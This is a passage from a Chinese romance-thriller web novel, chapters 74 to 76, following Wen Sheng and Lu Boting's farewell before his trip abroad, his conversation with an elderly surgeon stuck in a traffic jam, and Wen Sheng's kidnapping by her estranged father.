温声还没来及继续惹他,姚女士的电话就来了,她的表情顿时一收,双手捧着他的手机格外恭敬温顺地隔着窗递给他,抬头眼巴巴地道歉:“我错了,今晚我错了,对不起,我对不起您!”
“你快接妈妈的电话!!”
路泊汀接过手机,啼笑皆非地瞅她:“你怕她什么?”随即当她的面开了免提。
“喂,妈?”
姚书文那边的声音很嘈杂,好像在室外,问他:“阿声怎么还没到家?你去接她了吗?”
“刚接到,她今晚有聚会。”
姚书文本意是让温声接电话,谁知路泊汀下一句就直接堵住了其余两位的嘴,嗓音温柔又低沉:“宝宝这会睡着了,我晚点送她回去。”
听到这个称呼,温声无意识地‘啊’了一声,又慌慌张张捂住嘴,给他疯狂使眼色——
你在乱叫什么!!
隔着电话,无所谓其他人支不支持,他直接摊牌了所有关系。
74. 动荡
车子开进怡翠苑缓缓停到门外。
温声本来还想陪他一阵,眼梢瞥到他要开车灯,连忙拉下帽檐,脸扭到窗户那侧,“我都要下车了你干嘛还开灯,我走了你再开也不迟呀。”
‘咔’一道厚重的金属机械声发出。
路泊汀咬着棒棒糖,瞥过黑眸不咸不淡地瞅她,抬手不满地开了灯,顺道锁了门。
灯亮起,温声刚要举手遮住脸,他就欺负人似的倒头靠了过来。
哎!
温声轻呼一声,穿着薄毛衣的一侧细芽肩头快速塌下,她被压得只能瞪大眼睛狠声赶他:“哎哎哎你!……你!我撑不住你!你困了就回家睡别倒我身上,很沉你不知道吗……”说完还苦着小脸抬肩去顶弹他的脸。
但路泊汀这会儿就像块找到自己磁场的磁铁一样牢牢切切地烙在她身上,将她轻轻松松压进座位角落。
她越催,他的姿态就越老神在在,非要耗着她一样,一手挤到她身后,然后垂下手腕圈着她的腰,侧脸也要跟着埋进她颈窝。
就是要贴着身硬往她身上凑。
“有点累,让我靠会儿宝宝。”
嗓音低润清冷,话音还拖着困倦的尾声。
温声一静,忽然就泄了挣扎,没再动一下。
路泊汀姿态慵懒地倚到她身上,闭眼,舌尖转着糖,咯嘣咯嘣的,额前凌乱的黑碎发被他吹起一阵小风。
神情看上去满足又放松,嘴边的笑很赖皮,很不讲理,还很盛气倨傲。
反正就是要可着她欺负。
温声用余光悄悄看他,其实他是全世界最温柔的人了。
时间仿佛倒回八年前那个最冷的冬至夜晚。
严寒天,日料店的窘迫,地摊上的冷斥,光线暗淡的巷子,青灰色的油泥地,旧红色的人字拖,装棉花糖和糖糕的磨砂透明袋,以及各自都冻得青红的脸。
几乎都是寒冷的字眼。
可他一身扎眼的黑粉色,蹲在她面前遮住她身后的雪风,烘热的手掌捂上她破洞的袜子,目光定定地看向她。
你不是对的吗?
这句话在后来无数个内心自我挣扎的敏感时刻,就像一双手将她拽了起来。
那是她无法忘记的回到江城后最温暖的一个夜晚。
与其说他在她身上不断寻找贴合的磁场,不如说他本身就是一个立体分明又干净明亮的磁场。
是她无法影响和撼动的他自己。
温声将目光又投到车外。
不能再想了,要让他明早安心地去美国。
只是他靠得太近太近了,温声避免不了他的任何变化,就连他垂在眼底的睫毛在她余光里都滑出了一弧纤长浓密的阴影。
她的胸口也跟着电触似的微微震颤。
车里开着空调,黑夜很静,温声甚至都能数清热风的低频运转声,头上那顶有些大的棒球帽忽然滑下,她慌忙扶住,另一手翻过手肘往他脸上不客气地掐去:“喂路泊汀!休息够了吧,休息够了就给我起开!我作业还没写呢,别耗我时间,还有你真的很……”重。
手掐上他的脸,动作倏尔一滞。
脸部轮廓依然静心雕琢过的细致流畅,下颌如削,棱角分明。
可她还是摸出他瘦了很多。
他真的很久没休息好了……
“我明早走,就没什么和我说的?”路泊汀听她没动静了,用脸蹭了蹭她的手心,又伸手缠上她的一撮儿头发,长指漫不经意地绕了几圈,唇边微哂道:“可能又要去一阵,会有时差,不能随叫随到,难道你不会想我么?”
怎么可能不想……
温声挣扎了一瞬,无声吐息,将衣领往上掖了掖掩住半张脸,想了想,轻声叮嘱:“明天江城会接着下雪,我查了美国那边也是普遍降温,而且旧金山可能会下雨,你记得不要感冒,路上不要走太快,不要让我担心,还有不要像上次一样受……”
“你怎么知道我要去旧金山?”
气氛登时一变。
温声一下一下咬着嘴唇,没吭声。
路泊汀笑了笑,手里的动作不变,长指还在绕她的头发,接着不紧不慢地问:“什么时候知道的?”
“昨天。”
温声不想和他兜圈子了,低头看他,他还是闭着眼,“那些事我不问你,你也不要问我,什么话都别说,你只要知道我在等你回来,而且……”
她抓住他的那只大手,很凉,骨骼很重地落进她手心,有一瞬间心口被填的很实很满,十指交扣,她说话气息微微不稳:“我现在是以成熟认真的一方在和你谈这件事,我说的话可以为我和你负责,我会照顾好自己,无论发生什么事,无论其他人对我说什么做什么,无论我的真实身份是什么,无论你去多久……”
鼻子有些泛潮,她吸了吸,又悄声说:“我都只相信你,我会一直在家等你。”
等你们回来。
所以一定不要让我担心好不好?
路泊汀抱着她的腰,心跳和呼吸都沉默着,他今晚一直避着不让气氛变沉,不要把人惹难受了,但没用。
温声注意到他喉咙滚了滚,半晌,才听他低声一笑:“你突然变成小大人了,我有点不适应,还有点难受。”
一直跟在他身后的小鬼头突然拨开他的肩,自己走在了前面。
他靠在她身上,慢慢睁开眼,垂眸看向她抓住自己的手,握得很紧,眼眶有点热,但唇角还是勾了勾,语气有丝抱歉:“如果可以,我不想你这么快长大。”
刘嫂忽然从门里走出来,手里提着几个大纸袋转到院里那棵圣诞树旁,温声担心她看过来,将车灯调暗。
“长大难道不好吗?”她也跟着笑,反问,“长大就可以和你结婚,长大就不用只能在家等你,长大也可以为你出头保护你支持你,做到真正的并肩。”
更重要的是……
长大后,我才能意识到遇见你真的好不容易,所以才会想格外去爱你。
查觉出她声音有点哽咽。
“那我和宝宝重新做个约定好了。”
路泊汀没抽出手,只是往她这边凑得更近,“取一下我兜里的东西。”
温声眨着眼快速逼退眼泪,也忘了放开他的手,就那么紧紧抓着,然后用右手去掏他的裤子口袋。
是一只银黑色的抛光Zippo。
路泊汀接过手。
‘咔’
火石嚓出橙黄色的明艳火焰。
“你有一个一分钟的许愿,需要提前准备吗?”
一年有12个月,不知道从什么时候起,每一年,温声对他会有12次的许愿机会,这是他给她的权利,没有复杂多余的仪式感,只要在月底,打开火机,她随时都可以许。
然后将愿望写进纸条随意藏到他衣柜的某件衣服口袋里,期待他什么时候能发现纸条,比愿望成真还要开心。
这个心照不宣的小习惯他们延续了很久很久。
“等一下!”温声回头,拍了拍他的俊脸,“次次都是我来许,这次换你!我来给你实现好不好?”
路泊汀手里还捏着打火机,听她的话扯唇无奈地笑出声,头点的很慢很慢,语气也很慢很慢:“成啊,那就你许完我再许咯。”
温声这会儿啰哩啰嗦的:“行吧,一人30秒钟喔!你一定要记好时间不要忘了,我许完你就要快快接上,不然许愿不连贯就实现不了啦!这是今年最后一次许望,是今年最大的愿望,你一定要……”
巴拉巴拉。
小嘴嘚啵嘚啵。
路泊汀叹了声气,笑的没边儿,蹭了蹭她的颈窝,哄小孩一样,乖乖点头:“知道了知道了。”
橙黄色的火焰在她面前晃了晃。
温声两手抱紧他的手抵向下巴,闭眼开始许愿。
不到30秒,她快速睁开眼,从他手里很顺手地拿过火机,火焰没有断开,她靠近他身前。
路泊汀挑眉,然后拽着她的手也放到唇边。
温声心里1、2,3……认真记着时,生怕自己数漏让他少许几秒愿。
呼~
火焰被他吹灭。
温声哇的一声,兴致冲冲地扭过脑袋,呼呼吹他的睫毛,“你许了吗许了吗!是什么?”
路泊汀弹开她挤来的脑门,重新靠回她身上,话音转了过去:“你先说你许了什么?”
温声哼哼一声得意得很,这会大眼睛都盈满笑意,一副我这愿望绝对了不起绝对会成真的小人得志样,“我就不告诉你,告诉你就不灵了!”
她希望他许的愿望都能实现。
结果路泊汀学她的话,还学的有模有样,晃着脑袋,略着嘴巴,“那我也不告诉你,我愿望挺牛逼,说出来没劲儿。”
温声切了声,刚要抖开他碍眼的脑袋,摊开的手心突然一凉。
他放了一盒新的未拆开的海盐柠檬糖。
“这次不用全吃完,剩一半我就回来了。”
路泊汀还把手里那个Zippo丢给她,金属质地的小东西有点沉,“不抽烟了,送你。”
然后手腕圈上她的腰,往怀里一带,合眼重新贴上她。
打算睡十分钟再走。
温声注意到火机背面有一片激光雕刻的闪烁星空,底部还手工刻了两只小猫小狗,小狗的脑袋歪歪倾倒在小猫的耳朵上,画的很Q很童话,和质感冷硬的机身有点格格不入,下面还刻有一个字迹模糊的英文。
“Destined”
命定。
宇宙连接,命运牵引。
我们天生一对。
那枚火机在她手里捏了很久,她出神地看了很久。
路泊汀睡着了。
侧过头枕在她肩膀,呼吸平稳,睡得很熟很安静。
温声坐直后,又动作很轻地按上控制面板的电动按键,直到后视镜向右微微转动,两人的模样全部照到里面,她盯着自己的眼睛,有点愁,下一秒又从镜子里去看他,垂下的额前碎发遮住眉宇,只露出一双细长模糊的眼睑。
唯一明显的是,她脸上有
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伤,他脸上的伤还没下去。
看着望着,温声慢慢移开视线,然后侧下左半张脸,轻轻往下压。起初,她动都不太敢动,一直挺着背撑住他,到后来,半边身开始微微发麻,最后整个身子彻底僵了。
但是她现在有点想亲他……
院里的刘嫂进进出出,手里不断拿着东西,他们在院外,谁也看不到。
亲吧温声。
温声,亲他。
她浅浅呼吸着,小心旋着自己的侧脸,舔了舔干涩的嘴唇,唇角先是触到他的发梢,有点刺刺的麻,还有点像被冷风刮过的痒意。
他忽然动了动,圈住她抱得更紧了。
那种麻和痒从嘴唇一下子刺入后脑勺。
紧张到,脑神经发出长长的信号声——
嗡——
想亲他,但是不想让任何人看到,包括他。
好在他没醒。
温声继续旋着自己的侧脸,连带着心都在转圈,直到嘴唇对向他的额头。
握住他的手,一小一大,两人的手都是冰的,她嘴唇发颤,但还是轻轻碰到他脸上。
她的呼吸,她全身的热气全部在这一刻送给了他。
“我想你平平安安。”
她用气音说着过去说过的话,其实声音不算小。
不知道他醒了没有……
他的发顶浓密蓬松,埋压到她脸上,有点热,还有他的气味,那一刻莫名有安全感。
温声刚要离开,目光却忽地触到车外,瞳孔骤然收缩,身子像被什么东西无形击中,心跳停滞,她一时僵坐着,连呼吸都悬到了崖口。
车旁不到三米的斜后方,周围一片雪白,姚书文身上那件绒色大衣挂着雪,她站在那里,不知道站了多久,不知道看了多久。
温声心底顿时蔓上一层寒意,她被惊出一身冷汗,手里紧紧握住路泊汀的手,没有发出任何声音,然后摘下帽子静静回望她。
姚书文面无表情地低下眼,目光透过车窗,长长定格在他们身上,眨也不眨,神情没有波动,甚至平静到没有任何温度。
她的眼里不再有她预期的那些情绪,只有静默到极致的陌生。
好像她与他们从未有过交集。
这种平静让温声立马掉了眼泪,但是她不想再逃避了,睁大发红的眼,嘴角上扬,她朝她努力挤出一抹笑,车里车外,此刻窒息难以言喻,同时她的心里疯狂涌上一股焰火。
妈妈……
这次不想再和您说对不起了。
我想和他在一起。
然后,温声当着她的面,当着正要走过来的刘嫂的面。
嘴唇重新亲上路泊汀。
她透过他的发隙,透过那层窗,看着车外的两人,边亲,变轻轻的笑,眼里有泪,但是没再掉下来。
姚书文收回目光,走向另一辆车,没有过来质问,没有说一个字。那双曾经对他们充满温柔爱意的眼睛,此时已经无光,转身时,眼角只剩无尽的疲惫和湿红。
看到两个自己操心到大的孩子突然亲到一起,刘嫂心里不是没有震惊的,但她担心夫人现在情绪失控开车不安全,一把扯了身上的护裙,丢到地上,趁她发车前,急忙跑过去拉开门上了车。
温声刚上楼,路泊汀就发来信息。
L:刚才为什么偷亲我?
温声两手笨拙地抱着手机,想了想,回他。
声声怪:因为以后想亲就亲。
她放下包,整理着今晚的作业,手机又一震。
L:那块表在我回来前每天出门必须戴,那枚戒指在我回来后再戴。
她噼里啪啦打字想问为什么。
他下一秒直接堵嘴。
L:乖。
温声从抽屉里拿出表,心里隐隐奇怪,想了想,打开台灯在亮光下左右前后翻着面的检查,结果看了半天,没发现有什么不一样。
她习惯性将手表的表盘内扣在手腕,正摸不着头脑打算给他去个电话时,表后的透视底盖忽然亮出暗蓝色的光点,一闪一闪的,平时如果不注意是发现不了的。
温声吃了一惊,定位?
楼下忽然响起跑车低鸣浑厚的声浪声。
他竟然才走?
温声想都来不及想,手机扔床上,两手用力拉开门快步跑下楼奔到院子外,她跑得够快了,但还是没赶上,那抹红灯车屁股转了向逐渐消失。
胸口灌了冷气又闷又疼,今晚后背还被那人用膝盖一直压着,前胸后背现在抽得慌,家里没人,她疼的喘不上气,只能捂紧胸口白着脸蹲在原地不断调整呼吸频率。
算了,明天再问他。
半空还在飘雪,气温很低,蹲了大概五分钟,温声起身往院里走,脑海里还在盘想着那只表和他的事,走得慢,想得又多,进了院内才记起大门忘关了,她抚着胀痛的额角,叹气,转身——
两米外的距离,突然紧站着一人,就算戴着口罩,就算光线很暗,就算只见过一次。
她也能认出他的浅色眼睛……
75. 感应
夜里十一点,公路大雾渐起,雪势忽然变大,有几辆救护车和警车从混乱的停车中跻身往反方向赶。
半个小时前,不到百米外的桥梁上发生了多车连环相撞事故。
有两辆轿车半悬在桥梁上,车头早就零碎不全,只剩严重变形的车身。
警车声,救护声,消防车声,还有医护人员急救指令的尖锐声音一时全响了起来。
几乎所有的车辆都停滞不前,有车主还抱着车里的孩子逆行往路边挪。
路泊汀看了一眼时间,视线调向外,降下车窗,有车主的唏嘘声隐隐约约传了过来:
“刚才那女的跟我在加油站一起加过油,听口音不像本地的,人急急毛毛的哟一直催,我估计她那速度都超90了,还没打防滑链,这天儿能刹住才怪了。”
“可不嘛,听前边过来的人说整个人连车一齐飞了出去,唉这年尾快过完了人却没了,家里人不知道多难受!”
也有人忿忿不平地呛起来:“难受怎办!她自己走了还捎上一个无辜的,真不知道该不该骂她!”
“今天还是冬至,全年阴气最重的一天,这条路十天半个月我是不会再来了。”
又一年冬至。
差点忘了。
留意了下路况,短时间内是不会让通过了。将车慢慢倒移到路边,路泊汀拿着手机下了车,往边上一家便利店走去,店内挤满了人,都是一顺停车的车主,大家已经滞留在路上快一个小时了。
“咖啡能热一热吗?这天气喝温的比喝冰的还恼火。”
“好的这边为您加热,请您稍等两分钟,还有其他需要的吗?”
“有没有……”
一股冷气袭来,正在说话的老太太嘴一闭,身体先打了阵哆嗦,扭头看去,见他身上只穿了一件低领线衫,一愣,又仔仔细细上下打量一番,问:“哎呀小伙子,你不冷呀?”
路泊汀单手转着手机,往自助机旁一站,上下划拉着屏幕开始找喝的,听到她的话嘴角弯了弯,头摇的不是很明显。
算是对老人家敷衍了事地作了下回应。
老太太是个热心肠的人,尤其在车里憋了那么久,这会儿逮个年轻人就想聊两句,特别是这少年生得高高瘦瘦,容貌又是个顶标致的,还没有那套愣头青的毛头小子样,一看就是家教好的,很配自己的孙女,于是不知不觉就摘下口罩,靠近,抬起头碎碎搭话:“你也是堵在这路上了?就你一个人还是有伴?哎哟小伙子不得了,长得顶天立地的,对象有没啦?”
说完还将桌上店员已经热好的蜂蜜茶悄摸摸地拿到他面前,笑得很亲切很慈眉善眼,“店里只剩这瓶热的了,奶奶请你喝,天气冷得很多喝。”
店员愣神看他们,可能也是第一次见老奶奶对年轻人搭讪,她都给看直眼了。
路泊汀没理,眉头微皱了下,扶着一侧颈,另一手又往屏幕上若无其事地滑了两下。
很想当个粗俗耳聋的野人无视她。
他社交很简单,男女老少,只要人客气点,可以聊,但别来刻意搭讪。一切都好说,但要点到为止。
超过能聊的范围,他就烦了。
也不管他收不收,一米六不到的小老太太手就那么一直举着。
热情得实在过了头。
路泊汀停下手里的动作,偏下目光去看她,跟自己姥差不多一个岁数,只是老太太有点驼背,半躬着腰,身上披了一件设计奇特的貂毛大衣,颜色还是那种年轻人不爱穿的甜美珊瑚粉,像斗篷一样,轻而易举就将她包了起来,衣领袖口同时缝了好几个卡通人物和花卉的布贴,脖子挂了一串一看就是她自己设计的彩色宝石。
说是老太太,浑身上下却戴了一堆小孩儿穿的花花绿绿,眼神透亮有神,整个人丝毫没有老态,反而松弛有度,很轻盈憨慈。
看上去是被家里人细致照护的极有个性的老顽童。
不知怎么了,他突然就想到了自家小姑娘。
但凡他今晚不接这水,他就完了。
“谢您了。”
路泊汀无奈地揉了揉额,叹气,手心向上,朝老人家扬了扬指,“您还想喝什么?我再给您点点儿其他的?”
老太太提溜起那瓶水潇潇洒洒地掉进他手里,又给自己的咖啡杯里戳了根吸管,笑呵呵地说:“最近胃口不太好,我喝点咖啡就好,今晚还要自己开车,不敢喝太多。”
路泊汀点了杯暖胃的麦芽汁,等加热中,结完账,顺着她的话问:“您多大岁数啊,大晚上开车家里人放心?”
聊这些家常不是他擅长的,只是隔着窗看外面,车辆还是堆在一起,没移半点路。
就当唠唠打发时间了。
“看不出来吧我都75岁啦!三十几年我还去国外留了学呢,当时可是学院里年龄最大的学生,但现在那些人几乎死了一大半,就我还健康地活着。”
一提起自己的年纪那就相当骄傲的老太太笑得更欢了,一笑,头也就跟着晃,那顶手工刺绣的圆顶麝香皮草帽上的珍珠也嘭嘭哒哒跟着响个不停,她举起手机给他一张一张滑看这几十年的流芳青史,一开口就喋喋不已:“年轻的时候我算把该尝试的都去尝了个遍,你看我会骑马会挥矛还会杂技表演,看到这张我戴头盔和飞行服的了吗?89年的时候我在阿联酋的飞行学院进修过,当时全亚洲就我一个女人被选进去了。”
她说起话来神飞色动,骄傲又自信,鼓起的松散苹果肌在一张皱巴不平的脸上红润润地挂着。
有一个瞬间,路泊汀脑子里全是温声,还是七八十岁的她,面容很模糊,声音却依旧清脆。
他虽然一直吊儿郎当没个正形地跟她聊东扯西,有时候还左耳进右耳出,但当老太太手里照片往来递时,他又真真切切地看了一阵,还伸手点着那个有些熟悉的哥特式拱顶建筑,跟她讨论两句:“这后边是国王学院的教堂?您在英国读的书?”
“嘿!这就有缘了,你怎么知道?”
因为您和我妈一个学校啊。
记起她刚才说的三十几年前去留学的事,路泊汀倚着桌,漫不经心地又问:“这照片什么时候拍的?”
老太太更来精神了,又开始叽里呱啦介绍她在剑桥的一系列光辉事迹:“87年本科毕业拍的,哎哟我现在都还记得我那些同学,我比他们大了快二十岁,有几个亚……”
“姚书文,你们同届,有印象吗?”
路泊汀不得不插一句,觉得这事真神了,在一个从没来过的便利店还能遇到自个儿妈几十年前留学时的校友,他还想问什么时,老太太却目光怔然地望向他:“这位女士我确实没印象了,是你的母亲吗?我专攻临床医学,还是半途进去的,当时认识的中国同学太少太少了。”
姚书文是商学院的。
叮——
饮品加热好,店员将玻璃杯的塑料封口开了一小半,连着杯套一起递过来。
路泊汀捞过老太太手里那杯黑不黑灰不灰的速溶咖啡,将加热好的麦芽汁放她边儿上,又团了桌上的塑料薄膜扔进垃圾桶,这才灌了口她送的那瓶蜂蜜茶,“现在马上凌晨了,您每天都这个点回家?”
“我一直住在国外,老伴儿去得早,家里儿女也有自己的家庭了,我这趟回来是工作受邀,最近一直住我学生家里,相当于我认得干女儿。”
路泊汀颔首示意懂了,指尖慢悠悠地敲着桌子,没再接话。
他本身也不是个多话的人。
老太太换插管,吸了口那杯麦芽汁,口味很清爽,又吸溜吸溜了几口,给自己喝呛到了才拍着胸口继续搭话:“这不我最近待烦了,今天起了个大早自己开车到夷农山的水库去钓鱼啦!哎哟小伙子,我车里装了两桶,你要不要?我给你取点你带回去炖汤喝。”
出门在外都是姥,路泊汀耸耸肩淡淡一笑:“多谢啊姥,留着您自己吃,对自己好点,您现在这样非常不错。”完了,还朝她的那些照片点了点下巴,唇边笑意戏谑,语气却很诚心,“蛮酷的,向您学习。”
他弯唇时半弧笑涡总会浅浅出现,给整张棱角分明的脸添了几分疏离的雅气,便利店空间就这么大点,过道人挤人,头顶处低矮的白炽灯一照,老太太看得近,也瞧得仔细,说是翩翩少年也不为过,她越看越满意,终于问到重点了:“你身边有小姑娘不啦?有没有兴趣认识认识我孙女?”
来了,又来了。
路泊汀仰头灌了口饮料,间隙,朝她晃了晃自己左手的戒指,“都结婚了,早八辈子结了。”
闻言,老太太诧异地睁大眼,看着那枚戒指,一直盯一直盯,直到叹惋一声:“你多大啦?看上去好年轻的呀,不要轻易那么快结婚的呀小伙子,早结早离你信我,婚姻不好经营的。”
路泊汀耷着一副乖学生样,跟哄小孩似的朝她举起手里那点剩下的饮料,正儿八经地敬她一杯,低眉蹙眼,虚心请教:“结婚这么恐怖啊,可我现在都被套牢了,怎么办才好呢?”
这还用说吗?
老太太哼了声,眼一翻,“要我说,趁年轻赶紧先离了,你们都多看看身边优秀的人,等好时机到了再结婚也不迟。”她侧倚到咖啡机前,神情正色,边说边打着商量的手势,“人这一世啊,真爱会遇到无数个,你要好好挑选才是。”
原来是个爱出馊主意的坏太太。
他又想到了温声。
两人说话做事,就连动作,都是喜形于色鬼头鬼脑的那类人。
路泊汀玩味地挑起眉,掀唇又是哂然一笑,他跟这种人没法儿讲道理,只能去纠正她说的话:“姻缘不就是讲究有缘才有姻么,别人遇到几个真爱我管不着,我也不懂什么才算好时机,但只要提到良辰吉日,时来运转,顺风顺水这些需要凑够天时地利的词儿,我能想到的就只有我老婆。这不就是命定的缘?”
“要说挑也是她挑的我啊……”
他咬着杯子,又低声含混地说了一句:“我被她捡走不偷着乐就算了,能结婚是我以前想都没敢想的事。”
老太太听得一时动容,昂着头望向他:“唉,真是好孩子啊,可惜了……”
抬眼看被雪雾映得模模糊糊的窗外,那片红海重起,车辆开始动了起来。
路泊汀打算闪人了,将瓶子丢进一旁垃圾桶,报了自己的名字后,又掏出手机客气地递给她:“如果您方便留个联系电话,说不定您和我母亲认识。”
结果手机黑屏,没电关机了。
……
老太太本名江鸿莱,立马摘掉两只皮手套,接着搓了搓皱巴巴的手,又很快从提包里翻出便利签,用一根鸡毛似得水彩笔写自己的号码,刷刷刷,利落几下,然后将便利签粘到他手机屏幕上,乐呵呵地笑着说:“我每三个月受邀回一次江城,如果你和你母亲有时间,一定要给我打电话,我们去喝两杯。”
聊着聊着,在便利店就待了半个多小时。
路泊汀刚要出门,眼梢突然瞥到冷藏柜上方那台小小的电视机,脚步一顿,屏幕这会儿正在播放平台直播。
有一条视频一闪而过,就几秒钟,然后立刻被封了。
身后‘噫’的一声,江鸿莱戴好口罩慢慢踱了过来,她正好也看到了那个画面,“夷农山?这不是我早上才去的水库?晚上寒气很重,怎么会有人脱了衣服在江边跳舞的?现在直播的人也是越来
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越低趣味了,哎哟还是姑娘家这身体受得住?”
店门开开合合,冷气扑入,促销播报的声音一齐响起。
不是跳舞。
人进人出,路泊汀跟个门神一样挡在门边,抬着黑眸一瞬不瞬地看那个早就换了其他频道的电视屏幕。
一时间,脑海里的,眼前的,听到的,所有碎片的东西统统汇成一个画面,直到越来越清晰地浮现在他面前。
是被人绑架了。
而且是他觉得很熟悉的人。
几乎是同时,有个念头该死地突然冒了出来。
再次掏出手机,这次动作有点急,还有几分粗鲁,胳膊差点蹭到一旁的老太太,她急忙捂着胸口哎哟一声:“我虽然是个心外科医生,手艺也不错,但年纪上来了啊孩子,你给我一捶我自己救不了我自己的啊。”
没电,没电!
便利店人太多,这会儿没有多余的充电宝。
路泊汀周身显而易见地燥了起来,手朝她一伸,“抱歉,借您手机一用。”
江鸿莱见他眼里有些慌张,赶紧丢给他,“怎么了这是?”
先是打给温声,响铃,没人接。
又给刘嫂去电话,也没人接。
江鸿莱见他下颚绷紧,脸色倏尔冷到极致,也不好意思再说话,捧着自己那杯十分健康的果汁默默喝起来,然后时不时留意着他的表情变化。
路泊汀只好给仓管的高靖打去,那边刚接,他直接问:“高姐,今晚家里有人么?”
高靖还在外面吃夜宵,听到这小少爷的声音,先是一怔,“刘嫂和阿声应该在的,快圣诞了,夫人给我们提前放了两天假,司机也都回去了,其他人不知道。”
“门卫什么情况,没人值班?”
“……大家都放假了。”
路泊汀很快扫过电视机右下角的时间,他从家里出来已经一个多小时了,如果不是姚书文交代过不准为难家里这些工作人员,他都想蹦个脏话出来,压着情绪,又瞎扯了两句后直接挂断电话,手机递给一旁听墙角的老太太:“谢了,我先走了。“
高靖瞅着那串陌生号码,这小孩平时很少联系她,刚才语气又很急,想来想去她还是不放心,立马给苑区的物业打电话。
“你这就走啦?没事吧?”
江鸿莱将手机揣进大衣里,跟着这少年往店外走,“回去后记得联系我,也不对,说不定是我先联系你。”
雪还在下,路泊汀往车的方向走,垂下头不知在想什么,突然停下,回身看她:“那个水库的位置在哪里?”
“夷农山有好几个水库,我去的是山顶最大的堀池,刚才那个电视里的好像也是那处位置。山不高,开车二十分钟就到了。”
“江奶奶?”
那堆人挤人车挤车的位置,一道熟悉的男声突兀地高喊起。
路泊汀没回身,眉梢不疾不徐地扬起,就等着他们走过来。
何让生将头盔挂在车前,手里抱着一个微型无人机,两三步跨过栏道走过来,身后还跟着磨磨蹭蹭下车的庵加河,他将无人机粗粗暴暴地砸进路泊汀怀里,语调阴损:“不容易啊,给你打电话一个不接,差点以为你死了。”
扭头,表情又一换,颇有礼貌地对面前的老人喊了声奶奶:“哟,这点还不回去,不怕我妈说您啊?明早你两不还要赶机么?”
江鸿莱是他老妈游英手下医疗团队里的顶级心外科专家,两人这次受国际邀请大范围开展客座交流,结果回国这段时间天天在家不着人影,没想到是跟自己兄弟搭上了。
老太太又是咯咯咯地笑了出来,“那都是明天的事了,明天再说,我一会儿回去还要炖鱼汤呢。怎么着,我就说我们有缘都认识吧。”
何让生嗯嗯嗯点头附和着,路泊汀这会儿心不在焉,完全没吭声。
哼。
她才不要当碍眼的灯泡,朝几个小年轻人挥了挥手,老太太往自己那辆可可爱爱的粉色Macan走去,“那我先走一步,记得call我噢。”
何让生以为是对他说的,赖着嗓子答应着:“成,知道了,您开车注意安全。”
路泊汀扯了扯唇角,懒得再耗,转身往另一个方向走,“你摩托给我开开。”
“先说正事啊,急什么?”
庵加河这会儿才一瘸一瘸地走过来,身上刚舔了几道新伤,脸上也一片青紫,路泊汀忽然歪下头,定定瞅着他,眼神很奚落,“你爹揍得?”
“你应该说是不是庵庭章那个老傻逼揍得。”
何让生唯恐天下不乱,直呼长辈大名,管他是不是自家爹妈的朋友,完了还上手往庵加河脸上擦了擦,摇头啧啧,尖酸毒舌的话飘飘然放出:“你现在这狗样子,身为同胞的那些真狗见了都得绕两条道躲着跑,难怪边苳今晚又拒绝你了。”
路泊汀自认嘴欠,但还算能听得过去,何让生的嘴欠是无差别攻击任何人,包括他自己。
长腿一挪,他嫌膈应似得往边儿上离了点。
何让生皮笑肉笑地抬手刨了一把寸头,大言不惭地接着找骂:“不过你如果跪下求我,再磕个头,让我当你的新爹,这个仇,爹今晚就给你报了。”
“你他妈滚犊子!”
庵加河冷冷瞪着他,忍了又忍,才没踢他一脚,抓了把碎发,又对路泊汀说:“姚姨抓到了李樊,现在人被押在庵庭章那个沙龙的地库,这都两天了,听人说手全废,姚姨这会儿带着人去了温志强的出租屋,我俩刚发现他一个小时前在你家那片晃悠,现在的位置……”
何让生盯着手机里那个定位的小红点,眉目渐沉,收起调笑,“在夷农山。”
76. 见面
温声是被冻醒的。
她身上很疼,艰难睁开眼,视线内一片黢黑,什么都看不清,寒风从她身后嗖嗖地往上卷着吹,呼啸,狂劲,她冻得只好蜷在地上,耳朵挨近地面,隐隐呼呼能听出四周有其他的动静,扑通,又一声扑通,像沉沉泛着涟漪的水波声。
水?
“嗬,终于醒了?”
那人用木头棒子在地上堆起一个火势不大的火堆,又朝里扔了两根枝条,焰声滋滋冒出,手边放着一把磨亮的猎枪,火星子渐渐燎起,慢慢在他眼前高涨。他看过来,那双和她其实并不像的眼睛斜狞起,眼底被火堆映出诡谲多变的邪光,像半人鬼一样。
他突然咧开嘴一笑,追着问:“是爸吵醒的?”
温志强。
世界在这一刻仿佛被拉成一条摇摇欲坠的高空钢丝。
她和他维衡在钢丝的两头,只要有一方掉下,大盘皆空。
但这一天终于来了。
天太冷,温声冻得全身快要没知觉,牙齿使劲一磕,痛楚袭来,她舔着嘴唇流出的血,又用力仰起头朝他喊话。
“温志强,得了吧省省,好好在地底下当你的臭虫不行吗,非要出来膈应我,你想当我爸,积几辈子福都不够用,何况你现在大限快到,先顾顾自己吧。”
她浑身通红,脸颊青紫,呛完他后又使劲咳了起来,边咳边嘻嘻笑起来,看着他,细眉扬起,“我一直在期待你会怎么对我,我等了你很久,日夜不眠地等,结果就这样?”
随意抖了抖腿上紧扎的绳子,温声皮笑肉不笑地接着挖苦他:“温志强啊温志强,老不死的畜生,你好好给自己倒计时吧,说不定今晚就是你的祭日。”
有一个问题她思考了很久,这个她恨不得立马去死的男人,如果非要面对面碰上,她还会保持理智吗?
当局面真的到了只剩他们两人时,她又发现,这根本不算问题。
她现在很清醒,也很理智,脑子里就只剩一个念头。
要保命,还想杀他。
“不管你怎么否认,我这辈子都是你爹,你身上留着我的血,你是杀人犯的女儿,我见不着光,你以为你就能舒坦了?你以为你倚靠那个路家就能麻雀飞上枝头一生高枕无忧了?你现在脸皮这么厚不也是遗传了我么?只要我放话出去你是我温志强的女儿,你看谁还会可怜你!”
温志强的两腿尤其右边膝盖被何让生踢成骨裂,另一条腿走起来严重外翻,他的两个膝盖都错位了,刚才骑摩托车架着她上山路时还翻了一跤,腰侧被碎石头割出几道深血印子,这会起身时骨头磨着肉的剧痛让他反复记起昨晚被那个b崽子折磨的过程,这种切骨的恨让他的脸看上去格外阴森。
他拄着一根粗木棍忍痛一拐一拐地走过来,停在她面前,抬着木棍重重点着她,“你总该知道一句话吧,老鼠的儿子会打洞,只要你是我温志强的女儿,这辈子你就别想翻身!”
随便吧。
温声都懒得搭话,垂下眼,周身安静,她慢慢爬起,面上波澜不惊,任他说任他激,反正他要说什么能说什么她心里都有数,但她现在无所谓。她内心筑起的高墙,家庭给她的关照和爱,以及这些年自我成长过程中独立意识的觉醒,这些构建出的完整的她,足以在今晚避开他的陷阱,就算她真的是一只地底的老鼠,她又没有害人之心,她努力活着,她心存感激,怎么样都比他强。
想打亲情牌?
他算老几。
